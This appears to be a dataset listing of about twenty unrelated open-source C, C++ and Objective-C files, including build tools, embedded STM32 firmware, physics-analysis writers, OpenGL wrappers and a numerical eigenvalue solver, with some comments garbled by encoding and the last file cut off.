text stringlengths 4 6.14k |
|---|
#ifndef POS_TEST__SIMPLE_RUNNER_H
#define POS_TEST__SIMPLE_RUNNER_H
#include <cxxtest/TestRunner.h>
#include <cxxtest/TestListener.h>
namespace CxxTest
{
class SimpleRunner : public TestListener
{
public:
SimpleRunner()
{
}
int run()
{
TestRunner::runAllTests( *this );
return tracker().failedTests();
}
};
}
#endif // POS_TEST__SIMPLE_RUNNER_H
|
/*
* ActionTrackDelete.h
*
* Created on: 09.04.2012
* Author: michi
*/
#pragma once
#include "../ActionGroup.h"
class Track;
class ActionTrackDelete : public ActionGroup {
public:
ActionTrackDelete(Track *track);
string name() const override { return ":##:delete track"; }
void build(Data *d) override;
Track *track;
};
|
/* This file is part of VERTIGO.
*
* (C) Copyright 2013, Siege Technologies <http://www.siegetechnologies.com>
* (C) Copyright 2013, Kirk Swidowski <http://www.swidowski.com>
*
* VERTIGO is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* VERTIGO is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with VERTIGO. If not, see <http://www.gnu.org/licenses/>.
*
* Written by Kirk Swidowski <kirk@swidowski.com>
*/
#include <config.h>
#include <defines.h>
#include <types.h>
#include <dbglib/gen.h>
#include <fxplib/gen.h>
#include <a9mod/scu.h>
DBG_DEFINE_VARIABLE(scu_dbg, DBG_LEVEL_3);
result_t scu_init(scu_block_t *block, size_t options) {
return SUCCESS;
}
result_t scu_fini(scu_block_t *block) {
return SUCCESS;
}
result_t scu_print(scu_block_t *block) {
DBG_LOG_FUNCTION(scu_dbg, DBG_LEVEL_3);
return SUCCESS;
}
|
/*
MicroBuild
Copyright (C) 2016 TwinDrills
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
#include "Schemas/Database/DatabaseFile.h"
#include "Schemas/Workspace/WorkspaceFile.h"
#include "Schemas/Project/ProjectFile.h"
#include "Core/Helpers/TextStream.h"
#include "App/Ides/IdeHelper.h"
namespace MicroBuild {
// Base class for all IDE targets.
class IdeType
{
public:
IdeType();
virtual ~IdeType();
// Gets the short-named use on the command line and in config files
// to refer to this IDE.
std::string GetShortName();
// Takes a fully resolved workspace file and generates the project
// files it defines.
virtual bool Generate(
DatabaseFile& databaseFile,
WorkspaceFile& workspaceFile,
std::vector<ProjectFile>& projectFiles) = 0;
protected:
void SetShortName(const std::string& value);
private:
std::string m_shortName;
};
}; // namespace MicroBuild |
/*
* OpenSplice DDS
*
* This software and documentation are Copyright 2006 to 2013 PrismTech
* Limited and its licensees. All rights reserved. See file:
*
* $OSPL_HOME/LICENSE
*
* for full copyright notice and license terms.
*
*/
/** \file os/solaris10/code/os_process_attr.c
* \brief POSIX process attributes
*
* Implements os_procAttrInit and sets attributes:
* - scheduling class is OS_SCHED_DEFAULT
* - process priority is whatever we already have
* - locking policy is OS_UNLOCKED
* - user credentials is default
*/
#include <assert.h>
#include <sched.h>
/** \brief Initialize process attributes
*
* Set \b procAttr->schedClass to \b OS_SCHED_DEFAULT
* (take the platforms default scheduling class, Time-sharing for
* non realtime platforms, Real-time for realtime platforms)
* Set \b procAttr->schedPriority to \b the current priority
* Set \b procAttr->lockPolicy to \b OS_LOCK_DEFAULT
* (no locking on non realtime platforms, locking on
* realtime platforms)
* Set \b procAttr->userCred.uid to 0
* (don't change the uid of the process)
* Set \b procAttr->userCred.gid to 0
* (don't change the gid of the process)
*/
os_result
os_procAttrInit (
os_procAttr *procAttr)
{
struct sched_param param;
assert (procAttr != NULL);
sched_getparam (0, ¶m);
procAttr->schedClass = OS_SCHED_DEFAULT;
procAttr->schedPriority = param.sched_priority;
procAttr->lockPolicy = OS_LOCK_DEFAULT;
procAttr->userCred.uid = 0;
procAttr->userCred.gid = 0;
procAttr->activeRedirect = 0;
return os_resultSuccess;
}
|
#import <Cocoa/Cocoa.h>
#import "WiiRemote.h"
#import "WiiRemoteDiscovery.h"
@interface AppController : NSWindowController<WiiRemoteDelegate, WiiRemoteDiscoveryDelegate, NSApplicationDelegate> {
IBOutlet NSProgressIndicator* spinner;
IBOutlet NSTextField* weight;
IBOutlet NSTextField* status;
IBOutlet NSTextField* bbstatus;
IBOutlet NSMenuItem* fileConnect;
IBOutlet NSMenuItem* fileTare;
IBOutlet NSImageView *statusImage;
IBOutlet NSWindow *saveWindow;
IBOutlet NSTextField *weightToSave;
WiiRemoteDiscovery* discovery;
WiiRemote* wii;
float tare;
float avgWeight;
float sentWeight;
float lastWeight;
float weightSamples[100];
int weightSampleIndex;
int weightReadCount;
BOOL sent;
float height_cm;
float confirmedWeight;
bool haveConfirmedWeight;
}
- (IBAction)confirmSaveData:(id)sender;
- (IBAction)cancelSaveData:(id)sender;
- (IBAction)doDiscovery:(id)sender;
- (IBAction)doTare:(id)sender;
@end
|
////////////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 2012-2013 Eric Conte, Benjamin Fuks
// The MadAnalysis development team, email: <ma5team@iphc.cnrs.fr>
//
// This file is part of MadAnalysis 5.
// Official website: <https://launchpad.net/madanalysis5>
//
// MadAnalysis 5 is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// MadAnalysis 5 is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with MadAnalysis 5. If not, see <http://www.gnu.org/licenses/>
//
////////////////////////////////////////////////////////////////////////////////
#ifndef LHE_WRITER_BASE_h
#define LHE_WRITER_BASE_h
// STL headers
#include <fstream>
#include <iostream>
#include <sstream>
// SampleAnalyzer headers
#include "SampleAnalyzer/Process/Writer/WriterTextBase.h"
#include "SampleAnalyzer/Process/Writer/LHEParticleFormat.h"
namespace MA5
{
class LHEWriter : public WriterTextBase
{
// -------------------------------------------------------------
// data members
// -------------------------------------------------------------
protected:
// -------------------------------------------------------------
// method members
// -------------------------------------------------------------
public:
/// Constructor without argument
LHEWriter() : WriterTextBase()
{}
/// Destructor
virtual ~LHEWriter()
{}
/// Read the sample (virtual)
virtual bool WriteHeader(const SampleFormat& mySample);
/// Read the event (virtual)
virtual bool WriteEvent(const EventFormat& myEvent,
const SampleFormat& mySample);
/// Finalize the event (virtual)
virtual bool WriteFoot(const SampleFormat& mySample);
private:
/// Writing event global information
bool WriteEventHeader(const EventFormat& myEvent,
unsigned int nevents);
/// Writing a particle
void WriteParticle(const MCParticleFormat& myPart, Int_t mother1, Int_t mother2,
Int_t statuscode, LHEParticleFormat& lhe);
static std::string FortranFormat_SimplePrecision(Float_t value,UInt_t precision=7);
static std::string FortranFormat_DoublePrecision(Double_t value,UInt_t precision=11);
// Writing a reconstructed jet
void WriteJet(const RecJetFormat& jet, LHEParticleFormat& lhe, Int_t& mother);
void WriteMuon(const RecLeptonFormat& muon, LHEParticleFormat& lhe, Int_t& mother);
void WriteElectron(const RecLeptonFormat& electron, LHEParticleFormat& lhe, Int_t& mother);
void WritePhoton(const RecPhotonFormat& photon, LHEParticleFormat& lhe, Int_t& mother);
void WriteTau(const RecTauFormat& tau, LHEParticleFormat& lhe, Int_t& mother);
void WriteMET(const ParticleBaseFormat& met, LHEParticleFormat& lhe);
};
}
#endif
|
/* ------------------------------------------------------------------
* GEM - Graphics Environment for Multimedia
*
* Copyright (c) 2002-2011 IOhannes m zmölnig. forum::für::umläute. IEM. zmoelnig@iem.at
* zmoelnig@iem.kug.ac.at
* For information on usage and redistribution, and for a DISCLAIMER
* OF ALL WARRANTIES, see the file, "GEM.LICENSE.TERMS"
*
* this file has been generated...
* ------------------------------------------------------------------
*/
#ifndef _INCLUDE__GEM_OPENGL_GEMGLCOLORMATERIAL_H_
#define _INCLUDE__GEM_OPENGL_GEMGLCOLORMATERIAL_H_
#include "Base/GemGLBase.h"
/*
CLASS
GEMglColorMaterial
KEYWORDS
openGL 0
DESCRIPTION
wrapper for the openGL-function
"glColorMaterial( GLenum face, GLenum mode)"
*/
class GEM_EXTERN GEMglColorMaterial : public GemGLBase
{
CPPEXTERN_HEADER(GEMglColorMaterial, GemGLBase);
public:
// Constructor
GEMglColorMaterial (int, t_atom*); // CON
protected:
// Destructor
virtual ~GEMglColorMaterial ();
// Do the rendering
virtual void render (GemState *state);
// variables
GLenum face; // VAR
virtual void faceMess(t_atom); // FUN
GLenum mode; // VAR
virtual void modeMess(t_atom); // FUN
private:
// we need some inlets
t_inlet *m_inlet[2];
// static member functions
static void faceMessCallback (void*,t_symbol*,int,t_atom*);
static void modeMessCallback (void*,t_symbol*,int,t_atom*);
};
#endif // for header file
|
// Copyright (c) 2013 Elements of Programming Interviews. All rights reserved.
#ifndef SOLUTIONS_CPP_INTERSECT_SORTED_ARRAYS2_H_
#define SOLUTIONS_CPP_INTERSECT_SORTED_ARRAYS2_H_
#include <algorithm>
#include <vector>
using std::vector;
namespace IntersectTwoSortedArrays2 {
// @include
vector<int> IntersectTwoSortedArrays(const vector<int>& A,
const vector<int>& B) {
vector<int> intersection_A_B;
for (int i = 0; i < A.size(); ++i) {
if ((i == 0 || A[i] != A[i - 1]) &&
binary_search(B.cbegin(), B.cend(), A[i])) {
intersection_A_B.emplace_back(A[i]);
}
}
return intersection_A_B;
}
// @exclude
} // namespace IntersectTwoSortedArrays2
#endif // SOLUTIONS_CPP_INTERSECT_SORTED_ARRAYS2_H_
|
#pragma once
// input options
#define HBGDASM_OPT_RETLENGTH 0x00 // default
#define HBGDASM_OPT_GETDASM 0x01
#define HBGDASM_OPT_GETOPCODE 0x02
#define HBGDASM_OPT_GETCHARS 0x04
#define HBGDASM_OPT_GETREMARK 0x08 // ¹Ì±¸Çö
// output characters
#define HBGDASM_CHAR_GENERAL 0x00 // default
#define HBGDASM_CHAR_UNKNOWN 0x01 // unknown instruction
#define HBGDASM_CHAR_CALL 0x02 // call
#define HBGDASM_BUFLEN 100
typedef struct HBGDASM_DLL _HbgDasmInfo
{
// [in]
BYTE option;
LPBYTE bytes;
SIZE_T len;
DWORD_PTR address;
// [out]
WCHAR dasm[HBGDASM_BUFLEN];
WCHAR opcode[HBGDASM_BUFLEN];
BYTE chars;
} HbgDasmInfo;
HBGDASM_DLL void HbgDasmInit(HbgDasmInfo& dasmInfo, BYTE option = HBGDASM_OPT_RETLENGTH, LPBYTE bytes = NULL, SIZE_T len = 0, DWORD_PTR address = 0);
HBGDASM_DLL SIZE_T HbgDasmParse(HbgDasmInfo& dasmInfo);
|
#ifndef _TWO_WORDS_CORRELATIONS_H
#define _TWO_WORDS_CORRELATIONS_H
#include<vector>
#include<algorithm>
#include "wordPositions.h"
struct TwoWordsCorrelation
{
const WordPositions* wordA;
const WordPositions* wordB;
double correlationAB;
double correlationBA;
double correlation;
};
template<class T>
class TwoWordsCorrelations
{
public:
std::vector<TwoWordsCorrelation>::const_iterator begin;
std::vector<TwoWordsCorrelation>::const_iterator end;
TwoWordsCorrelations(const WordPositionsCollection& collection)
{
calculate_words_correlations(collection);
begin = correlations.begin();
end = correlations.end();
}
private:
double threshold = 0.01;
std::vector<TwoWordsCorrelation> correlations;
T words_binding_measure;
TwoWordsCorrelation calculate_two_words_correlation(const WordPositions*, const WordPositions*);
void calculate_words_correlations(const WordPositionsCollection&);
};
template<class T>
void
TwoWordsCorrelations<T>::calculate_words_correlations
(const WordPositionsCollection& collection)
{
correlations.clear();
for (auto iA = collection.begin; iA < (collection.end - 1); ++iA)
{
for (auto iB = iA + 1; iB < collection.end; ++iB)
{
auto correlation = calculate_two_words_correlation(&(*iA), &(*iB));
if (correlation.correlation > threshold)
{
correlations.push_back(correlation);
}
}
}
sort(correlations.begin(), correlations.end(),
[](const TwoWordsCorrelation& a, const TwoWordsCorrelation& b)
{ return a.correlation > b.correlation; });
}
template<class T>
TwoWordsCorrelation
TwoWordsCorrelations<T>::calculate_two_words_correlation
(const WordPositions* wordA, const WordPositions* wordB)
{
auto itA = wordA -> begin;
auto itB = wordB -> begin;
double correlationAB = 0.0;
double correlationBA = 0.0;
while (itA < (wordA -> end) && itB < (wordB -> end))
{
if (itA -> position < itB -> position)
{
if ((itA + 1) -> position > itB -> position)
{
auto distance = (itB -> position) - (itA -> position);
correlationAB += words_binding_measure(distance);
}
itA++;
}
else
{
if ((itB + 1) -> position > itA -> position)
{
auto distance = (itA -> position) - (itB -> position);
correlationBA += words_binding_measure(distance);
}
itB++;
}
}
double weight = 2.0 * (double)std::min(wordA -> count(), wordB -> count());
correlationAB /= weight;
correlationBA /= weight;
TwoWordsCorrelation result;
result.wordA = wordA;
result.wordB = wordB;
result.correlation = correlationAB + correlationBA;
result.correlationAB = correlationAB;
result.correlationBA = correlationBA;
return result;
}
#endif
|
/*
* Copyright (c) 2011 Tobias Markmann
* Licensed under the simplified BSD license.
* See Documentation/Licenses/BSD-simplified.txt for more information.
*/
#pragma once
#include <string>
#include <boost/filesystem.hpp>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <Swiften/Base/boost_bsignals.h>
#include <Swiften/JID/JID.h>
#include <Swiften/FileTransfer/OutgoingFileTransfer.h>
#include <Swiften/FileTransfer/IncomingFileTransfer.h>
namespace Swift {
class ReadBytestream;
class S5BProxyRequest;
class FileTransferManager {
public:
virtual ~FileTransferManager();
virtual void startListeningOnPort(int port) = 0;
virtual OutgoingFileTransfer::ref createOutgoingFileTransfer(const JID& to, const boost::filesystem::path& filepath, const std::string& description, boost::shared_ptr<ReadBytestream> bytestream) = 0;
virtual OutgoingFileTransfer::ref createOutgoingFileTransfer(const JID& to, const std::string& filename, const std::string& description, const boost::uintmax_t sizeInBytes, const boost::posix_time::ptime& lastModified, boost::shared_ptr<ReadBytestream> bytestream) = 0;
boost::signal<void (IncomingFileTransfer::ref)> onIncomingFileTransfer;
};
}
|
/******************** (C) COPYRIGHT 2009 STMicroelectronics ********************
* File Name : mass_storage.c
* Author : MCD Application Team
* Version : V2.0.0
* Date : 04/27/2009
* Description : This file provides a set of functions needed to manage the
* communication between the STM32F10x USB and the SD Card
* and NAND Flash .
********************************************************************************
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
* AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
* INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
* CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
* INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*******************************************************************************/
/* Includes ------------------------------------------------------------------*/
#include "main.h"
#include "usb_lib.h"
#include "hw_config.h"
#include "usb_lib.h"
#include "usb_istr.h"
#include "sdcard.h"
#include "fsmc_nand.h"
#include "nand_if.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
/*******************************************************************************
* Function Name : Mass_Storage_Init
* Description : Initializes the peripherals used by the mass storage driver.
* Input : None
* Output : None
* Return : None
*******************************************************************************/
void Mass_Storage_Init(void)
{
/* Disable the Pull-Up*/
USB_Cable_Config(DISABLE);
}
/*******************************************************************************
* Function Name : Mass_Storage_Start
* Description : Starts the mass storage demo.
* Input : None
* Output : None
* Return : None
*******************************************************************************/
void Mass_Storage_Start (void)
{
NVIC_InitTypeDef NVIC_InitStructure;
/* Disble the JoyStick interrupts */
IntExtOnOffConfig(DISABLE);
while(ReadKey() != NOKEY)
{
}
RCC_AHBPeriphClockCmd(RCC_AHBPeriph_FSMC, ENABLE);
/* Clear the LCD screen */
LCD_Clear(White);
LCD_SetDisplayWindow(160, 223, 128, 128);
LCD_NORDisplay(USB_ICON);
RCC_AHBPeriphClockCmd(RCC_AHBPeriph_FSMC, ENABLE);
/* Disable LCD Window mode */
LCD_WindowModeDisable();
/* Set the Back Color */
LCD_SetBackColor(Blue);
/* Set the Text Color */
LCD_SetTextColor(White);
/* Display the " Plug the USB " message */
LCD_DisplayStringLine(Line8, " Plug the USB Cable ");
LCD_DisplayStringLine(Line9, "Exit: Push JoyStick");
/* Enable and GPIOD clock */
USB_Disconnect_Config();
/* MAL configuration */
MAL_Config();
Set_USBClock();
NVIC_InitStructure.NVIC_IRQChannel = USB_LP_CAN1_RX0_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
NVIC_InitStructure.NVIC_IRQChannel = USB_HP_CAN1_TX_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
NVIC_InitStructure.NVIC_IRQChannel = SDIO_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
USB_Init();
while (bDeviceState != CONFIGURED)
{
if(ReadKey() != NOKEY)
{
PowerOff();
LCD_Clear(White);
DisplayMenu();
IntExtOnOffConfig(ENABLE);
return;
}
}
LCD_ClearLine(Line9);
/* Display the "To stop Press SEL" message */
LCD_DisplayStringLine(Line8, " To stop Press SEL ");
/* Loop until SEL key pressed */
while(ReadKey() != SEL)
{
}
PowerOff();
LCD_Clear(White);
DisplayMenu();
IntExtOnOffConfig(ENABLE);
}
/*******************************************************************************
* Function Name : Mass_Storage_Recovery
* Description : Erases the NAND Flash Content.
* Input : None
* Output : None
* Return : None
*******************************************************************************/
void Mass_Storage_Recovery (void)
{
/* Disble the JoyStick interrupts */
IntExtOnOffConfig(DISABLE);
while(ReadKey() != NOKEY)
{
}
LCD_Clear(White);
RCC_AHBPeriphClockCmd(RCC_AHBPeriph_FSMC, ENABLE);
/* Set the Back Color */
LCD_SetBackColor(Blue);
/* Set the Text Color */
LCD_SetTextColor(White);
LCD_DisplayStringLine(Line4, " Erase NAND Content ");
LCD_DisplayStringLine(Line5, "Please wait... ");
/* FSMC Initialization */
FSMC_NAND_Init();
NAND_Format();
/* Display the "To stop Press SEL" message */
LCD_DisplayStringLine(Line4, " NAND Erased ");
LCD_DisplayStringLine(Line5, " To exit Press SEL ");
/* Loop until SEL key pressed */
while(ReadKey() != SEL)
{
}
LCD_Clear(White);
DisplayMenu();
IntExtOnOffConfig(ENABLE);
}
/******************* (C) COPYRIGHT 2009 STMicroelectronics *****END OF FILE****/
|
/*
* Copyright (C) 2012 Kilian Gärtner
*
* This file is part of Terminal.
*
* Terminal is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, version 3 of the License.
*
* Terminal is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Terminal. If not, see <http://www.gnu.org/licenses/>.
*/
int initConnection(char *port);;
void serverLoop(void);
void stopServer(int signal);
int addClient(int clientSocket, struct sockaddr_in *clientInformation);
static void *handleClient(void *arg);
|
#ifndef __LEVEL_10_H__
#define __LEVEL_10_H__
#include "EngineHelper.h"
#include "BaseLevel.h"
#include "../Element/Target.h"
class Level10 : public BaseLevel
{
public:
virtual bool init();
virtual void restart();
virtual void update(float);
virtual int getLevel(){return 10;};
CREATE_FUNC(Level10);
private:
};
#endif // __LEVEL_10_H__
|
/*
* Copyright 2016 Erika Fabris, Thomas Gagliardi, Marco Zanella
* This file is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This file is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this file. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* Computes eigenvalues of a symmetric tridiagonal matrix (divide et impera).
* Uses the divide et impera approach.
* @file solver_dei.c
* @author Erika Fabris <fabriser@dei.unipd.it>
* @author Thomas Gagliardi <gagliard@dei.unipd.it>
* @author Marco Zanella <marco.zanella.9@studenti.unipd.it>
* @copyright GNU GPLv3 <http://www.gnu.org/licenses/gpl-3.0.txt>
*/
#include <stdio.h>
#include <string.h>
#include "st_matrix.h"
#include "algorithms/divide_et_impera.h"
#include "stopwatch.h"
#include "utils.h"
/**
* Divide et impera-based solver.
* @param[in] argc ARGument Counter
* @param[in] argv ARGument Vector
* @retval EXIT_SUCCESS Normal termination of the program
* @retval EXIT_FAILURE Some error occurred
*/
int main(const int argc, char * const argv[]) {
st_matrix_t M = st_matrix_load(stdin);
const unsigned int size = st_matrix_size(M);
double *eigenvalues;
unsigned int i;
stopwatch_t stopwatch = stopwatch_create("Divide_et_Impera_solver");
(void) argc;
(void) argv;
/* Allocates resources */
SAFE_MALLOC(eigenvalues, double *, size * sizeof(double));
/* Computes eigenvalues */
stopwatch_start(stopwatch, 0, "Compute eigenvalues");
divide_et_impera(M, eigenvalues);
stopwatch_stop(stopwatch, 0);
/* Prints results */
printf("Eigenvalues:\n[");
for (i = 0; i < size - 1; ++i) {
printf("%g, ", eigenvalues[i]);
}
printf("%g]\n", eigenvalues[i]);
/* Frees memory */
st_matrix_delete(&M);
free(eigenvalues);
stopwatch_delete(&stopwatch);
return EXIT_SUCCESS;
}
|
// -*- C++ -*-
#ifndef _vm_method_h_
#define _vm_method_h_
#include "vm/common.h"
#include "vm/register.h" // for RegisterType
namespace vm {
// This can be either native implementation or in Karuta language.
class Method {
public:
Method(bool is_toplevel);
~Method();
typedef void (*method_func)(Thread *thr, Object *obj,
const vector<Value> &args);
void Dump() const;
void Dump(DumpStream &os) const;
method_func GetMethodFunc() const;
void SetMethodFunc(method_func func);
const fe::Method *GetParseTree() const;
void SetParseTree(const fe::Method *method);
int GetNumArgRegisters() const;
int GetNumReturnRegisters() const;
const iroha::NumericWidth &GetNthArgWidth(int i);
const char *AlternativeImplementation();
void SetAlternativeImplementation(const char *alt);
const string &GetSynthName() const;
void SetSynthName(const string &s);
bool IsTopLevel() const;
Annotation *GetAnnotation() const;
void SetCompileFailure();
bool IsCompileFailure() const;
bool IsThreadEntry() const;
vector<Insn *> insns_;
// Args. Returns. Locals.
vector<Register *> method_regs_;
vector<RegisterType> return_types_;
private:
bool is_toplevel_;
// native
method_func method_fn_;
// non native
const fe::Method *parse_tree_;
const char *alt_impl_;
string synth_name_;
bool compile_failed_;
};
} // namespace vm
#endif // _vm_method_h_
|
/**
* This file is part of Drystal.
*
* Drystal is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Drystal is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Drystal. If not, see <http://www.gnu.org/licenses/>.
*/
#include "module.h"
#include "audio_bind.h"
#include "music_bind.h"
#include "sound_bind.h"
#include "api.h"
BEGIN_MODULE(audio)
DECLARE_FUNCTION(load_music)
DECLARE_FUNCTION(set_music_volume)
DECLARE_FUNCTION(load_sound)
DECLARE_FUNCTION(set_sound_volume)
BEGIN_CLASS(sound)
ADD_METHOD(sound, play)
ADD_GC(free_sound)
REGISTER_CLASS(sound, "Sound")
BEGIN_CLASS(music)
ADD_METHOD(music, play)
ADD_METHOD(music, stop)
ADD_METHOD(music, pause)
ADD_METHOD(music, set_pitch)
ADD_METHOD(music, set_volume)
ADD_GC(free_music)
REGISTER_CLASS(music, "Music")
END_MODULE()
|
/*
* Copyright 1999-2001,2004 The Apache Software Foundation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* $Id: XMLDOMComment.h,v 1.1 2006/08/10 00:15:28 nsuri Exp $
*/
#ifndef ___xmldomcomment_h___
#define ___xmldomcomment_h___
#include <xercesc/dom/DOMComment.hpp>
#include "IXMLDOMCharacterDataImpl.h"
XERCES_CPP_NAMESPACE_USE
class ATL_NO_VTABLE CXMLDOMComment :
public CComObjectRootEx<CComSingleThreadModel>,
public IXMLDOMCharacterDataImpl<IXMLDOMComment, &IID_IXMLDOMComment>
{
public:
CXMLDOMComment()
{}
void FinalRelease()
{
ReleaseOwnerDoc();
}
virtual DOMCharacterData* get_DOMCharacterData() { return comment;}
virtual DOMNodeType get_DOMNodeType() const { return NODE_COMMENT; }
DECLARE_NOT_AGGREGATABLE(CXMLDOMComment)
DECLARE_PROTECT_FINAL_CONSTRUCT()
BEGIN_COM_MAP(CXMLDOMComment)
COM_INTERFACE_ENTRY(IXMLDOMComment)
COM_INTERFACE_ENTRY(IXMLDOMCharacterData)
COM_INTERFACE_ENTRY(IXMLDOMNode)
COM_INTERFACE_ENTRY(IIBMXMLDOMNodeIdentity)
COM_INTERFACE_ENTRY(ISupportErrorInfo)
COM_INTERFACE_ENTRY(IDispatch)
END_COM_MAP()
DOMComment* comment;
};
typedef CComObject<CXMLDOMComment> CXMLDOMCommentObj;
#endif // ___xmldomcomment_h___ |
//*************************************************************//
// //
// CyberDip Çý¶¯³ÌÐòv1.0.beta //
// //
// »ùÓÚ Qt5.7 OpenCV2.4.9 VS2013 µÈ¸ü¸ß°æ±¾ //
// »ùÓÚ FFmpeg 2.2.2 //
// »ùÓÚ bbqScreenClient µÄÔ´´úÂë //
// ÊÊÅä grbl v0.8c (Baud 9600) //
// ÊÊÅä grbl v0.9j (Baud 115200) //
// //
// CVPRʵÑéÊÒ ³öÆ· //
// µØµã£ºµçÐÅȺ¥ 2 - 302B //
// //
//*************************************************************//
//ÉÏÃæµÄ±ß¿òÊܱàÒëÆ÷¡¢×ÖÌåÏÞÖÆÊǶԲ»ÆëµÄ£¬Ç¿ÆÈÖ¢ÃÇ·ÅÆú°É..
//*************************Ïà¹Ø¶¨Òå*****************************//
//************************Definitions***************************//
#define VIA_OPENCV
#define RANGE_X 31
#define RANGE_Y 23
#define UP_CUT 35.0
//*************************ʹÓÃ˵Ã÷*****************************//
//************************Instruction***************************//
//STEP0:ÔÚÉÏ·½QT²Ëµ¥ÖÐÅäÖÃQT°æ±¾(Èç¹ûûÓÐÔò˵Ã÷QTµÄVS²å¼þ°²×°Ê§°Ü)
//STEP0:Configure QT version
//STEP1: ×¢Ïúµô#define VIA_OPENCVÒÔÔÚÅäÖÃOpenCVǰ³¢ÊÔ±àÒë±¾³ÌÐò ±àÒëͨ¹ýºóÔÙÅäÖÃOpenCVÄÚÈÝ
//STEP1: Comment #define VIA_OPENCV and build -> Test your QT and FFmpeg settings.
//STEP2: ²âÁ¿²¢¶¨ÒåºÃÉ豸µÄ³¤¿íÒÔ¼°´°¿ÚµÄÉϱßÔµ
//RANGE ±íʾÉ豸ÆÁÄ»ÔÚCyberDIPÖеijߴç
//UP_CUT ±íʾCaptureʱ¼õÈ¥´°¿ÚÍ·¶¥µÄ±êÌâ¿òµÄ´óС£¬½öÔÚʹÓÃAirPlayerʱʹÓã¬Ê¹ÓÃbbqµÄʱºòÓ¦ÉèÖÃΪ0.
//STEP2: Measure the range of your device in CyberDIP.
//RANGE means the screen size of device in CyberDIP coordinates.
//UP_CUT is used to chop the title of video window.
//STEP3: ÅäÖÃOpenCV²¢È¡ÏûVIA_OPENCVµÄ×¢ÊÍ
//STEP3: Config OpenCV and uncomment VIA_OPENCV
//STEP4: ÔÚusrGameController.hºÍusrGameController.cppÖÐÐÞ¸ÄÏàÓ¦µÄͼÏñ´¦Àí´úÂë
//STEP4: Modify codes in usrGameController.h and usrGameController.cpp for image processing.
//×¢Ò⣡£¡£¡
//ΪÁË·½±ãÆÀÔÄ£¬½¨ÒéÖ»ÐÞ¸ÄusrGameController.hºÍusrGameController.cppÁ½¸öÎļþ
//ÒÔϲ»±Ø¸ü¸Ä
#include <QtWidgets/QtWidgets>
|
#include "leon.h"
#include "test.h"
irq_test()
{
extern volatile char irqtbl[];
int i, a, psr;
volatile int marr[4];
volatile int larr[4];
report(IRQ_TEST); /* report test type */
